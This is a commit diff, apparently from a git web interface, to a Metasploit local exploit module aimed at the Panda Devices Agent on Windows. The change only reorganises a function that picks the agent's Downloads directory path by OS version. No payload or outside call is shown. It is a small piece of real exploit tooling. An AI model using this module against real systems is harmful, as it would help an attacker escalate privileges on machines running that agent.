add else case
parent
face944f03
commit
a47a479bd3
|
@ -61,10 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def get_path()
|
||||
case sysinfo['OS']
|
||||
when /Windows (7|8|10|2012|2008)/
|
||||
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
when /Windows (NT|XP)/
|
||||
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system
|
||||
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue